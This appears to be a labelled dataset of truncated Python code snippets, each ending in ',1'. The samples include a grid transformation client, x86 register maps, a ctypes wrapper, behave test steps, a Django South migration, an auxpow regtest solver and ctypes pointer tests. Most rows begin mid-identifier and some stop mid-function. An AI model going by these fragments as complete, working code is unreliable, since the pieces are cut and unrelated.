None, newer = None, timeStamp = 'CreationDate', orderAttribute = None, limit = 100, extraParams = False, rpc = '', url = '', timeout = None ): """""" gets all the transformations in the system, incrementally. ""limit"" here is just used to determine the offset. """""" rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) transformations = [] # getting transformations - incrementally offsetToApply = 0 while True: res = rpcClient.getTransformations( condDict, older, newer, timeStamp, orderAttribute, limit, extraParams, offsetToApply ) if not res['OK']: return res else: gLogger.verbose( ""Result for limit %d, offset %d: %d"" % ( limit, offsetToApply, len( res['Value'] ) ) ) if res['Value']: transformations = transformations + res['Value'] offsetToApply += limit if len( res['Value'] ) < limit: break return S_OK( transformations ) def getTransformation( self, transName, extraParams = False, rpc = '', url = '', timeout = None ): rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) return rpcClient.getTransformation( transName, extraParams ) def getTransformationFiles( self, condDict = {}, older = None, newer = None, timeStamp = 'LastUpdate', orderAttribute = None, limit = 10000, rpc = '', url = '', timeout = 1800 ): """""" gets all the transformation files for a transformation, incrementally. ""limit"" here is just used to determine the offset. """""" rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) transformationFiles = [] # getting transformationFiles - incrementally offsetToApply = 0 while True: res = rpcClient.getTransformationFiles( condDict, older, newer, timeStamp, orderAttribute, limit, offsetToApply ) if not res['OK']: return res else: gLogger.verbose( ""Result for limit %d, offset %d: %d"" % ( limit, offsetToApply, len( res['Value'] ) ) ) if res['Value']: transformationFiles = transformationFiles + res['Value'] offsetToApply += limit if len( res['Value'] ) < limit: break return S_OK( transformationFiles ) def getTransformationTasks( self, condDict = {}, older = None, newer = None, timeStamp = 'CreationTime', orderAttribute = None, limit = 10000, inputVector = False, rpc = '', url = '', timeout = None ): """""" gets all the transformation tasks for a transformation, incrementally. ""limit"" here is just used to determine the offset. """""" rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) transformationTasks = [] # getting transformationFiles - incrementally offsetToApply = 0 while True: res = rpcClient.getTransformationTasks( condDict, older, newer, timeStamp, orderAttribute, limit, inputVector, offsetToApply ) if not res['OK']: return res else: gLogger.verbose( ""Result for limit %d, offset %d: %d"" % ( limit, offsetToApply, len( res['Value'] ) ) ) if res['Value']: transformationTasks = transformationTasks + res['Value'] offsetToApply += limit if len( res['Value'] ) < limit: break return S_OK( transformationTasks ) def cleanTransformation( self, transID, rpc = '', url = '', timeout = None ): """""" Clean the transformation, and set the status parameter (doing it here, for easier extensibility) """""" # Cleaning rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) res = rpcClient.cleanTransformation( transID ) if not res['OK']: return res # Setting the status return self.setTransformationParameter( transID, 'Status', 'TransformationCleaned' ) def moveFilesToDerivedTransformation( self, transDict, resetUnused = True ): """""" move files input to a transformation, to the derived one """""" prod = transDict['TransformationID'] parentProd = int( transDict.get( 'InheritedFrom', 0 ) ) movedFiles = {} if not parentProd: gLogger.warn( ""[None] [%d] .moveFilesToDerivedTransformation: Transformation was not derived..."" % prod ) return S_OK( ( parentProd, movedFiles ) ) # get the lfns in status Unused/MaxReset of the parent production res = self.getTransformationFiles( condDict = {'TransformationID': parentProd, 'Status': [ 'Unused', 'MaxReset' ]} ) if not res['OK']: gLogger.error( ""[None] [%d] .moveFilesToDerivedTransformation: Error getting Unused files from transformation %s:"" % ( prod, parentProd ), res['Message'] ) return res parentFiles = res['Value'] lfns = [lfnDict['LFN'] for lfnDict in parentFiles] if not lfns: gLogger.info( ""[None] [%d] .moveFilesToDerivedTransformation: No files found to be moved from transformation %d"" % ( prod, parentProd ) ) return S_OK( ( parentProd, movedFiles ) ) # get the lfns of the derived production that were Unused/MaxReset in the parent one res = self.getTransformationFiles( condDict = { 'TransformationID': prod, 'LFN': lfns} ) if not res['OK']: gLogger.error( ""[None] [%d] .moveFilesToDerivedTransformation: Error getting files from derived transformation"" % prod, res['Message'] ) return res derivedFiles = res['Value'] suffix = '-%d' % parentProd derivedStatusDict = dict( [( derivedDict['LFN'], derivedDict['Status'] ) for derivedDict in derivedFiles] ) newStatusFiles = {} parentStatusFiles = {} force = False for parentDict in parentFiles: lfn = parentDict['LFN'] derivedStatus = derivedStatusDict.get( lfn ) if derivedStatus: parentStatus = parentDict['Status'] if resetUnused and parentStatus == 'MaxReset': status = 'Unused' moveStatus = 'Unused from MaxReset' force = True else: status = parentStatus moveStatus = parentStatus if derivedStatus.endswith( suffix ): # This file is Unused or MaxReset while it was most likely Assigned at the time of derivation parentStatusFiles.setdefault( 'Moved-%s' % str( prod ), [] ).append( lfn ) newStatusFiles.setdefault( ( status, parentStatus ), [] ).append( lfn ) movedFiles[moveStatus] = movedFiles.setdefault( moveStatus, 0 ) + 1 elif parentDict['Status'] == 'Unused': # If the file was Unused already at derivation time, set it NotProcessed parentStatusFiles.setdefault( 'NotProcessed', [] ).append( lfn ) # Set the status in the parent transformation first for status, lfnList in parentStatusFiles.items(): for lfnChunk in breakListIntoChunks( lfnList, 5000 ): res = self.setFileStatusForTransformation( parentProd, status, lfnChunk ) if not res['OK']: gLogger.error( ""[None] [%d] .moveFilesToDerivedTransformation: Error setting status %s for %d files in transformation %d "" % ( prod, status, len( lfnList ), parentProd ), res['Message'] ) # Set the status in the new transformation for ( status, oldStatus ), lfnList in newStatusFiles.items(): for lfnChunk in breakListIntoChunks( lfnList, 5000 ): res = self.setFileStatusForTransformation( prod, status, lfnChunk, force = force ) if not res['OK']: gLogger.error( ""[None] [%d] .moveFilesToDerivedTransformation: Error setting status %s for %d files; resetting them %s in transformation %d"" % ( prod, status, len( lfnChunk ), oldStatus, parentProd ), res['Message'] ) res = self.setFileStatusForTransformation( parentProd, oldStatus, lfnChunk ) if not res['OK']: gLogger.error( ""[None] [%d] .moveFilesToDerivedTransformation: Error setting status %s for %d files in transformation %d"" % ( prod, oldStatus, len( lfnChunk ), parentProd ), res['Message'] ) return S_OK( ( parentProd, movedFiles ) ) def setFileStatusForTransformation( self, transName, newLFNsStatus = {}, lfns = [], force = False, rpc = '', url = '', timeout = 120 ): """""" sets the file status for LFNs of a transformation For backward compatibility purposes, the status and LFNs can be passed in 2 ways: - newLFNsStatus is a dictionary with the form: {'/this/is/an/lfn1.txt': 'StatusA', '/this/is/an/lfn2.txt': 'StatusB', ... } and at this point lfns is not considered - newLFNStatus is a string, that applies to all the LFNs in lfns """""" rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) # create dictionary in case newLFNsStatus is a string if type( newLFNsStatus ) == type( '' ): newLFNsStatus = dict( [( lfn, newLFNsStatus ) for lfn in lfns ] ) # gets status as of today tsFiles = self.getTransformationFiles( {'TransformationID':transName, 'LFN': newLFNsStatus.keys()} ) if not tsFiles['OK']: return tsFiles tsFiles = tsFiles['Value'] if tsFiles: # for convenience, makes a small dictionary out of the tsFiles, with the lfn as key tsFilesAsDict = {} for tsFile in tsFiles: tsFilesAsDict[tsFile['LFN']] = [tsFile['Status'], tsFile['ErrorCount'], tsFile['FileID']] # applying the state machine to the proposed status newStatuses = self._applyTransformationFilesStateMachine( tsFilesAsDict, newLFNsStatus, force ) if newStatuses: # if there's something to update # must do it for the file IDs... newStatusForFileIDs = dict( [( tsFilesAsDict[lfn][2], newStatuses[lfn] ) for lfn in newStatuses.keys()] ) res = rpcClient.setFileStatusForTransformation( transName, newStatusForFileIDs ) if not res['OK']: return res return S_OK( newStatuses ) def _applyTransformationFilesStateMachine( self, tsFilesAsDict, dictOfProposedLFNsStatus, force ): """""" For easier extension, here we apply the state machine of the production files. VOs might want to replace the standard here with something they prefer. tsFiles is a dictionary with the lfn as key and as value a list of [Status, ErrorCount, FileID] dictOfNewLFNsStatus is a dictionary with the proposed status force is a boolean It returns a dictionary with the status updates """""" newStatuses = {} for lfn in dictOfProposedLFNsStatus.keys(): if lfn not in tsFilesAsDict.keys(): continue else: newStatus = dictOfProposedLFNsStatus[lfn] # Apply optional corrections if tsFilesAsDict[lfn][0].lower() == 'processed' and dictOfProposedLFNsStatus[lfn].lower() != 'processed': if not force: newStatus = 'Processed' elif tsFilesAsDict[lfn][0].lower() == 'maxreset': if not force: newStatus = 'MaxReset' elif dictOfProposedLFNsStatus[lfn].lower() == 'unused': errorCount = tsFilesAsDict[lfn][1] # every 10 retries (by default) if errorCount and ( ( errorCount % self.maxResetCounter ) == 0 ): if not force: newStatus = 'MaxReset' if tsFilesAsDict[lfn][0].lower() != newStatus: newStatuses[lfn] = newStatus return newStatuses def setTransformationParameter( self, transID, paramName, paramValue, force = False, rpc = '', url = '', timeout = 120 ): """""" Sets a transformation parameter. There's a special case when coming to setting the status of a transformation. """""" rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) if paramName.lower() == 'status': # get transformation Type transformation = self.getTransformation( transID ) if not transformation['OK']: return transformation transformationType = transformation['Value']['Type'] # get status as of today originalStatus = self.getTransformationParameters( transID, 'Status' ) if not originalStatus['OK']: return originalStatus originalStatus = originalStatus['Value'] transIDAsDict = {transID: [originalStatus, transformationType]} dictOfProposedstatus = {transID: paramValue} # applying the state machine to the proposed status value = self._applyTransformationStatusStateMachine( transIDAsDict, dictOfProposedstatus, force ) else: value = paramValue return rpcClient.setTransformationParameter( transID, paramName, value ) def _applyTransformationStatusStateMachine( self, transIDAsDict, dictOfProposedstatus, force ): """""" For easier extension, here we apply the state machine of the transformation status. VOs might want to replace the standard here with something they prefer. transIDAsDict is a dictionary with the transID as key and as value a list with [Status, Type] dictOfProposedstatus is a dictionary with the proposed status force is a boolean It returns the new status (the standard is just doing nothing: everything is possible) """""" return dictOfProposedstatus.values()[0] ##################################################################### # # These are the file catalog interface methods # def isOK( self ): return self.valid def getName( self, DN = '' ): """""" Get the file catalog type name """""" return self.name def addDirectory( self, path, force = False, rpc = '', url = '', timeout = None ): rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) return rpcClient.addDirectory( path, force ) def getReplicas( self, lfn, rpc = '', url = '', timeout = None ): res = self.__checkArgumentFormat( lfn ) if not res['OK']: return res lfns = res['Value'].keys() rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) return rpcClient.getReplicas( lfns ) def addFile( self, lfn, force = False, rpc = '', url = '', timeout = None ): res = self.__checkArgumentFormat( lfn ) if not res['OK']: return res lfndicts = res['Value'] rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) return rpcClient.addFile( lfndicts, force ) def addReplica( self, lfn, force = False, rpc = '', url = '', timeout = None ): res = self.__checkArgumentFormat( lfn ) if not res['OK']: return res lfndicts = res['Value'] rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) return rpcClient.addReplica( lfndicts, force ) def removeFile( self, lfn, rpc = '', url = '', timeout = None ): res = self.__checkArgumentFormat( lfn ) if not res['OK']: return res lfns = res['Value'].keys() rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) successful = {} failed = {} listOfLists = breakListIntoChunks( lfns, 100 ) for fList in listOfLists: res = rpcClient.removeFile( fList ) if not res['OK']: return res successful.update( res['Value']['Successful'] ) failed.update( res['Value']['Failed'] ) resDict = {'Successful': successful, 'Failed':failed} return S_OK( resDict ) def removeReplica( self, lfn, rpc = '', url = '', timeout = None ): res = self.__checkArgumentFormat( lfn ) if not res['OK']: return res lfndicts = res['Value'] rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) successful = {} failed = {} # as lfndicts is a dict, the breakListIntoChunks will fail. Fake it! listOfDicts = [] localdicts = {} for lfn, info in lfndicts.items(): localdicts.update( { lfn : info } ) if len( localdicts.keys() ) % 100 == 0: listOfDicts.append( localdicts ) localdicts = {} for fDict in listOfDicts: res = rpcClient.removeReplica( fDict ) if not res['OK']: return res successful.update( res['Value']['Successful'] ) failed.update( res['Value']['Failed'] ) resDict = {'Successful': successful, 'Failed':failed} return S_OK( resDict ) def getReplicaStatus( self, lfn, rpc = '', url = '', timeout = None ): res = self.__checkArgumentFormat( lfn ) if not res['OK']: return res lfndict = res['Value'] rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) return rpcClient.getReplicaStatus( lfndict ) def setReplicaStatus( self, lfn, rpc = '', url = '', timeout = None ): res = self.__checkArgumentFormat( lfn ) if not res['OK']: return res lfndict = res['Value'] rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) return rpcClient.setReplicaStatus( lfndict ) def setReplicaHost( self, lfn, rpc = '', url = '', timeout = None ): res = self.__checkArgumentFormat( lfn ) if not res['OK']: return res lfndict = res['Value'] rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) return rpcClient.setReplicaHost( lfndict ) def removeDirectory( self, lfn, rpc = '', url = '', timeout = None ): return self.__returnOK( lfn ) def createDirectory( self, lfn, rpc = '', url = '', timeout = None ): return self.__returnOK( lfn ) def createLink( self, lfn, rpc = '', url = '', timeout = None ): return self.__returnOK( lfn ) def removeLink( self, lfn, rpc = '', url = '', timeout = None ): return self.__returnOK( lfn ) def __returnOK( self, lfn ): res = self.__checkArgumentFormat( lfn ) if not res['OK']: return res successful = {} for lfn in res['Value'].keys(): successful[lfn] = True resDict = {'Successful':successful, 'Failed':{}} return S_OK( resDict ) def __checkArgumentFormat( self, path ): if type( path ) in types.StringTypes: urls = {path:False} elif type( path ) == types.ListType: urls = {} for url in path: urls[url] = False elif type( path ) == types.DictType: urls = path else: return S_ERROR( ""TransformationClient.__checkArgumentFormat: Supplied path is not of the correct format."" ) return S_OK( urls ) ",1 "et_gdb_executable = Architecture.resolve(GDB_X86) get_oocd_executable = Architecture.resolve(OPENOCD) qemu_name = 'i386' gdb_name = 'i386' registers = {'eax': 0, 'ecx': 1, 'edx': 2, 'ebx': 3, 'esp': 4, 'ebp': 5, 'esi': 6, 'edi': 7, 'eip': 8, 'pc': 8, 'eflags': 9, 'cs': 10, 'ss': 11, 'ds': 12, 'es': 13, 'fs': 14, 'gs': 15, } special_registers = { #SSE 'xmm0': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm0.v4_int32', }, 'xmm1': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm1.v4_int32', }, 'xmm2': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm2.v4_int32', }, 'xmm3': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm3.v4_int32', }, 'xmm4': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm4.v4_int32', }, 'xmm5': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm5.v4_int32', }, 'xmm6': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm6.v4_int32', }, 'xmm7': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm7.v4_int32', }, 'xmm8': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm8.v4_int32', }, 'xmm9': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm9.v4_int32', }, 'xmm10': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm10.v4_int32', }, 'xmm11': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm11.v4_int32', }, 'xmm12': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm12.v4_int32', }, 'xmm13': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm13.v4_int32', }, 'xmm14': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm14.v4_int32', }, 'xmm15': {'format': '{{{:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$xmm15.v4_int32', }, #AVX 'ymm0': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm0.v8_int32', }, 'ymm1': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm1.v8_int32', }, 'ymm2': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm2.v8_int32', }, 'ymm3': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm3.v8_int32', }, 'ymm4': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm4.v8_int32', }, 'ymm5': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm5.v8_int32', }, 'ymm6': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm6.v8_int32', }, 'ymm7': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm7.v8_int32', }, 'ymm8': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm8.v8_int32', }, 'ymm9': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm9.v8_int32', }, 'ymm10': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm10.v8_int32', }, 'ymm11': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm11.v8_int32', }, 'ymm12': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm12.v8_int32', }, 'ymm13': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm13.v8_int32', }, 'ymm14': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm14.v8_int32', }, 'ymm15': {'format': '{{{:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}, {:d}}}', 'gdb_expression': '$ymm15.v8_int32', }, } sr_name = 'eflags' unemulated_instructions = [] capstone_arch = CS_ARCH_X86 capstone_mode = CS_MODE_32 word_size = 32 class X86_64(X86): qemu_name = 'x86_64' gdb_name = 'i386:x86-64' registers = {'rax': 0, 'rbx': 1, 'rcx': 2, 'rdx': 3, 'rsi': 4, 'rdi': 5, 'rbp': 6, 'rsp': 7, 'r8': 8, 'r9': 9, 'r10': 10, 'r11': 11, 'r12': 12, 'r13': 13, 'r14': 14, 'r15': 15, 'rip': 16, 'pc': 16, 'eflags': 17, 'cs': 18, 'ss': 19, 'ds': 20, 'es': 21, 'fs': 22, 'gs': 23, } capstone_mode = CS_MODE_64 unemulated_instructions = [] capstone_mode = CS_MODE_64 word_size = 64 ",1 "ef __init__(self): c_ptr = SummaryKeyMatcher.cNamespace().alloc() super(SummaryKeyMatcher, self).__init__(c_ptr) def addSummaryKey(self, key): assert isinstance(key, str) return SummaryKeyMatcher.cNamespace().add_key(self, key) def __len__(self): return SummaryKeyMatcher.cNamespace().size(self) def __contains__(self, key): return SummaryKeyMatcher.cNamespace().match_key(self, key) def isRequired(self, key): """""" @rtype: bool """""" return SummaryKeyMatcher.cNamespace().is_required(self, key) def keys(self): """""" @rtype: StringList """""" return SummaryKeyMatcher.cNamespace().keys(self) def free(self): SummaryKeyMatcher.cNamespace().free(self) cwrapper = CWrapper(ENKF_LIB) cwrapper.registerObjectType(""summary_key_matcher"", SummaryKeyMatcher) SummaryKeyMatcher.cNamespace().alloc = cwrapper.prototype(""c_void_p summary_key_matcher_alloc()"") SummaryKeyMatcher.cNamespace().free = cwrapper.prototype(""void summary_key_matcher_free(summary_key_matcher)"") SummaryKeyMatcher.cNamespace().size = cwrapper.prototype(""int summary_key_matcher_get_size(summary_key_matcher)"") SummaryKeyMatcher.cNamespace().add_key = cwrapper.prototype(""void summary_key_matcher_add_summary_key(summary_key_matcher, char*)"") SummaryKeyMatcher.cNamespace().match_key = cwrapper.prototype(""bool summary_key_matcher_match_summary_key(summary_key_matcher, char*)"") SummaryKeyMatcher.cNamespace().keys = cwrapper.prototype(""stringlist_obj summary_key_matcher_get_keys(summary_key_matcher)"") SummaryKeyMatcher.cNamespace().is_required = cwrapper.prototype(""bool summary_key_matcher_summary_key_is_required(summary_key_matcher, char*)"") ",1 "iven('a valid user with values {username}, {password}, {email}, {first_name}, {last_name}') def step_impl(context, username, password, email, first_name, last_name): context.base_user = User(username=username, email=email, password=password, first_name=first_name, last_name=last_name) @when('I add the user to the collection') def step_impl(context): context.user_service.save(context.base_user) @then('I check {user_name} exists') def step_impl(context, user_name): user_exists = context.user_service.exists(user_name) assert context.base_user.username == user_exists['username'] assert context.base_user.password == user_exists['password'] assert context.base_user.email == user_exists['email'] assert context.base_user.first_name == user_exists['first_name'] assert context.base_user.last_name == user_exists['last_name'] assert user_exists['_id'] is not None @given('I update {username} {field} with {value}') def step_impl(context, username, field, value): user = context.user_service.exists(username) if user is not None: user[field] = value context.user_service.update(user.to_json()) else: raise UserNotFound(username, ""User was not found"") @then('I check {username} {field} is {value}') def step_impl(context, username, field, value): user = context.user_service.exists(username) if user is not None: assert user[field] == value else: raise UserNotFound(username, ""User was not found"") ",1 "hemaMigration): def forwards(self, orm): # Adding field 'Question.order' db.add_column(u'survey_question', 'order', self.gf('django.db.models.fields.IntegerField')(default=0), keep_default=False) def backwards(self, orm): # Deleting field 'Question.order' db.delete_column(u'survey_question', 'order') models = { u'survey.option': { 'Meta': {'object_name': 'Option'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'label': ('django.db.models.fields.SlugField', [], {'max_length': '64'}), 'text': ('django.db.models.fields.CharField', [], {'max_length': '254'}) }, u'survey.page': { 'Meta': {'ordering': ""['order']"", 'unique_together': ""(('survey', 'order'),)"", 'object_name': 'Page'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'order': ('django.db.models.fields.IntegerField', [], {}), 'question': ('django.db.models.fields.related.ForeignKey', [], {'to': u""orm['survey.Question']""}), 'survey': ('django.db.models.fields.related.ForeignKey', [], {'to': u""orm['survey.Survey']""}) }, u'survey.question': { 'Meta': {'object_name': 'Question'}, 'allow_other': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'info': ('django.db.models.fields.CharField', [], {'max_length': '254', 'null': 'True', 'blank': 'True'}), 'label': ('django.db.models.fields.CharField', [], {'max_length': '254'}), 'modalQuestion': ('django.db.models.fields.related.ForeignKey', [], {'to': u""orm['survey.Question']"", 'null': 'True', 'blank': 'True'}), 'options': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': u""orm['survey.Option']"", 'null': 'True', 'blank': 'True'}), 'options_from_previous_answer': ('django.db.models.fields.CharField', [], {'max_length': '254', 'null': 'True', 'blank': 'True'}), 'options_json': ('django.db.models.fields.CharField', [], {'max_length': '254', 'null': 'True', 'blank': 'True'}), 'order': ('django.db.models.fields.IntegerField', [], {}), 'randomize_groups': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'slug': ('django.db.models.fields.SlugField', [], {'max_length': '64'}), 'title': ('django.db.models.fields.TextField', [], {}), 'type': ('django.db.models.fields.CharField', [], {'default': ""'text'"", 'max_length': '20'}) }, u'survey.respondant': { 'Meta': {'object_name': 'Respondant'}, 'email': ('django.db.models.fields.EmailField', [], {'max_length': '254'}), 'responses': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': ""'responses'"", 'symmetrical': 'False', 'to': u""orm['survey.Response']""}), 'survey': ('django.db.models.fields.related.ForeignKey', [], {'to': u""orm['survey.Survey']""}), 'ts': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2013, 4, 30, 0, 0)'}), 'uuid': ('django.db.models.fields.CharField', [], {'default': ""'bc967489-023c-46ce-b396-d209c8323fac'"", 'max_length': '36', 'primary_key': 'True'}) }, u'survey.response': { 'Meta': {'object_name': 'Response'}, 'answer': ('django.db.models.fields.TextField', [], {}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'question': ('django.db.models.fields.related.ForeignKey', [], {'to': u""orm['survey.Question']""}), 'respondant': ('django.db.models.fields.related.ForeignKey', [], {'to': u""orm['survey.Respondant']""}), 'ts': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2013, 4, 30, 0, 0)'}) }, u'survey.survey': { 'Meta': {'object_name': 'Survey'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '254'}), 'questions': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': u""orm['survey.Question']"", 'null': 'True', 'through': u""orm['survey.Page']"", 'blank': 'True'}), 'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '254'}) } } complete_apps = ['survey']",1 " .product import ProductImage from .enum_values import EnumValues from .related_values import RelatedValues from .customer import Customer from .expense import Expense from .incoming import Incoming from .shipping import Shipping, ShippingLine from .receiving import Receiving, ReceivingLine from .inventory_transaction import InventoryTransaction, InventoryTransactionLine from .purchase_order import PurchaseOrder, PurchaseOrderLine from .sales_order import SalesOrder, SalesOrderLine from .user import User from .role import Role, roles_users from .organization import Organization from .inventory_in_out_link import InventoryInOutLink from .aspects import update_menemonic from .product_inventory import ProductInventory ",1 "ttp://www.opensource.org/licenses/mit-license.php. # CLI to solve an auxpow (or not) in regtest difficulty. import binascii import hashlib import sys def computeAuxpow (block, target, ok): """""" Build an auxpow object (serialised as hex string) that solves (ok = True) or doesn't solve (ok = False) the block. """""" # Start by building the merge-mining coinbase. The merkle tree # consists only of the block hash as root. coinbase = ""fabe"" + binascii.hexlify (""m"" * 2) coinbase += block coinbase += ""01000000"" + (""00"" * 4) # Construct ""vector"" of transaction inputs. vin = ""01"" vin += (""00"" * 32) + (""ff"" * 4) vin += (""%02x"" % (len (coinbase) / 2)) + coinbase vin += (""ff"" * 4) # Build up the full coinbase transaction. It consists only # of the input and has no outputs. tx = ""01000000"" + vin + ""00"" + (""00"" * 4) txHash = doubleHashHex (tx) # Construct the parent block header. It need not be valid, just good # enough for auxpow purposes. header = ""01000000"" header += ""00"" * 32 header += reverseHex (txHash) header += ""00"" * 4 header += ""00"" * 4 header += ""00"" * 4 # Mine the block. (header, blockhash) = mineBlock (header, target, ok) # Build the MerkleTx part of the auxpow. auxpow = tx auxpow += blockhash auxpow += ""00"" auxpow += ""00"" * 4 # Extend to full auxpow. auxpow += ""00"" auxpow += ""00"" * 4 auxpow += header return auxpow def mineBlock (header, target, ok): """""" Given a block header, update the nonce until it is ok (or not) for the given target. """""" data = bytearray (binascii.unhexlify (header)) while True: assert data[79] < 255 data[79] += 1 hexData = binascii.hexlify (data) blockhash = doubleHashHex (hexData) if (ok and blockhash < target) or ((not ok) and blockhash > target): break return (hexData, blockhash) def doubleHashHex (data): """""" Perform Crowncoin's Double-SHA256 hash on the given hex string. """""" hasher = hashlib.sha256 () hasher.update (binascii.unhexlify (data)) data = hasher.digest () hasher = hashlib.sha256 () hasher.update (data) return reverseHex (hasher.hexdigest ()) def reverseHex (data): """""" Flip byte order in the given data (hex string). """""" b = bytearray (binascii.unhexlify (data)) b.reverse () return binascii.hexlify (b) ################################################################################ if len (sys.argv) != 4: print ""Usage: solveauxpow.py HASH _TARGET OK"" sys.exit () blockHash = sys.argv[1] revTarget = sys.argv[2] ok = sys.argv[3] if ok not in [""true"", ""false""]: print ""expected 'true' or 'false' as OK value"" sys.exit () target = reverseHex (revTarget) ok = (ok == ""true"") res = computeAuxpow (blockHash, target, ok) print res ",1 " def test__POINTER_c_char(self): class X(Structure): _fields_ = [(""str"", POINTER(c_char))] x = X() # NULL pointer access self.assertRaises(ValueError, getattr, x.str, ""contents"") b = c_buffer(b""Hello, World"") from sys import getrefcount as grc self.assertEqual(grc(b), 2) x.str = b self.assertEqual(grc(b), 3) # POINTER(c_char) and Python string is NOT compatible # POINTER(c_char) and c_buffer() is compatible for i in range(len(b)): self.assertEqual(b[i], x.str[i]) self.assertRaises(TypeError, setattr, x, ""str"", ""Hello, World"") def test__c_char_p(self): class X(Structure): _fields_ = [(""str"", c_char_p)] x = X() # c_char_p and Python string is compatible # c_char_p and c_buffer is NOT compatible self.assertEqual(x.str, None) x.str = b""Hello, World"" self.assertEqual(x.str, b""Hello, World"") b = c_buffer(b""Hello, World"") self.assertRaises(TypeError, setattr, x, b""str"", b) def test_functions(self): strchr = lib.my_strchr strchr.restype = c_char_p # c_char_p and Python string is compatible # c_char_p and c_buffer are now compatible strchr.argtypes = c_char_p, c_char self.assertEqual(strchr(b""abcdef"", b""c""), b""cdef"") self.assertEqual(strchr(c_buffer(b""abcdef""), b""c""), b""cdef"") # POINTER(c_char) and Python string is NOT compatible # POINTER(c_char) and c_buffer() is compatible strchr.argtypes = POINTER(c_char), c_char buf = c_buffer(b""abcdef"") self.assertEqual(strchr(buf, b""c""), b""cdef"") self.assertEqual(strchr(b""abcdef"", b""c""), b""cdef"") # XXX These calls are dangerous, because the first argument # to strchr is no longer valid after the function returns! # So we must keep a reference to buf separately strchr.restype = POINTER(c_char) buf = c_buffer(b""abcdef"") r = strchr(buf, b""c"") x = r[0], r[1], r[2], r[3], r[4] self.assertEqual(x, (b""c"", b""d"", b""e"", b""f"", b""\000"")) del buf # x1 will NOT be the same as x, usually: 